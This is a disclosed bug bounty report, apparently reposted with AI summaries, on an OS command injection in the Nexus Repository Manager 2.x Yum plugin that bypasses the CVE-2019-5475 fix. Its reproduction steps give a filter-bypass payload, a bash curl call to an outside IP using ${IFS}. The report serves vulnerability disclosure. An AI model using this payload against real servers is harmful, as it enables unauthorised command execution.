OS Command Injection in Nexus Repository Manager 2.x(bypass CVE-2019-5475)
The Nexus Yum Repository Plugin's command filtering for the createrepo/mergerepo path can be bypassed, allowing an authenticated user with sufficient privileges to execute arbitrary OS commands. This is a bypass of the fix for CVE-2019-5475.
- Triaged in 20 days
- Fixed in 54 days
- Disclosed after 54 days
Summary by the program
The report
OS Command Injection in Nexus Repository Manager 2.x(bypass CVE-2019-5475)
Maven artifact
groupId: org.sonatype.nexus.plugins artifactId: nexus-yum-repository-plugin version: 2.14.14-01
Vulnerability
Vulnerability Description
The Nexus Yum Repository Plugin is vulnerable to Remote Code Execution. All instances using CommandLineExecutor.java with user-supplied data is vulnerable, such as the Yum Configuration Capability.
Additional Details
Take a look at the patch for CVE-2019-5475
The getCleanCommand method is not completely filtered and can still be bypassed.
Steps To Reproduce:
-
Navigate to "Capabilities" in Nexus Repository Manager.
-
Edit or create a new Yum: Configuration capability
-
Set path of "createrepo" or "mergerepo" to an OS command (e.g.
/bin/bash -c curl${IFS}http://192.168.88.1:8000/ || /createrepo)
Supporting Material/References:
- Ubuntu
- Sonatype Nexus Repository Manager 2.14.14-01
- Java 8
Wrap up
- I contacted the maintainer to let them know: N
- I opened an issue in the related repository: N
Impact
An authenticated user with sufficient privileges in a Nexus Repository Manager installation can exploit this to execute code on the underlying operating system.
Impact
An authenticated user with sufficient privileges in a Nexus Repository Manager installation can exploit this to execute code on the underlying operating system.
Attachments


Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An authenticated user with sufficient privileges could execute code on the underlying operating system.
What the attacker needed
Authenticated user; sufficient privileges to edit capabilities
How it was found
- Navigate to 'Capabilities' in Nexus Repository Manager.
- Edit or create a new Yum: Configuration capability.
- Set the path of 'createrepo' or 'mergerepo' to an OS command.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
This report is about a plugin for Nexus Repository Manager, a tool that stores software packages. The plugin lets an admin set a command to run, but it tries to block dangerous input. The researcher found that the blocking can be tricked, so someone with admin rights could run their own commands on the server.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.